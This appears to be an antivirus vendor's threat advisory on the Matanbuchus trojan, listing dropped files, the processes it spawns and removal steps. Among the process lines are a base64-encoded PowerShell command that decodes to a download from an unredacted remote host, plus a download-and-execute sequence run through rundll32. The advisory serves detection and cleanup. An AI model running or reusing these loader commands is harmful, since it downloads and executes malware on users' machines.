Trojan.O97M.MATANBUCHUS.A
Trojan:JS/Obfuse.PRBF!MTB [non_writable_container] (MICROSOFT); Trojan-Downloader.Office.Doc (IKARUS)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
182,824 bytes
Other
No
08 Feb 2023
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %ProgramData%\in.cmd
- %User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\1\Open.cmd
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- %System%\cmd.exe /c "%User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\1\Open.cmd"
- powershell.exe [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCg0KcG93ZXJzaGVsbCBJbnZva2UtV2ViUmVxdWVzdCAtVVJJIGh0dHBzOi8vYXJhZGNhcGl0YWwuY29tL01wRDhZay8wMC5naWYgLU91dEZpbGUgQzpccHJvZ3JhbWRhdGFcYmlnLmpwZw0KY2FsbCBydSUxbDMyIEM6XHByb2dyYW1kYXRhXGJpZy5qcGcsRGxsUmVnaXN0ZXJTZXJ2ZXINCg0KZXhpdA0K')) > %ProgramData%\in.cmd&&start /min %ProgramData%\in.cmd ndl
- %System%\cmd.exe /K %ProgramData%\in.cmd ndl
- powershell Invoke-WebRequest -URI https://{BLOCKED}pital.com/MpD8Yk/00.gif -OutFile %ProgramData%\big.jpg
- rundll32 %ProgramData%\big.jpg,DllRegisterServer
Other Details
This Trojan does the following:
- It lures the user to select "Open."
SOLUTION
9.800
18.244.05
08 Feb 2023
18.245.00
09 Feb 2023
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete this file
- %User Temp%\OneNote\16.0\Exported\{{GUID}}\NT\1\Open.cmd
- %ProgramData%\in.cmd
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.O97M.MATANBUCHUS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.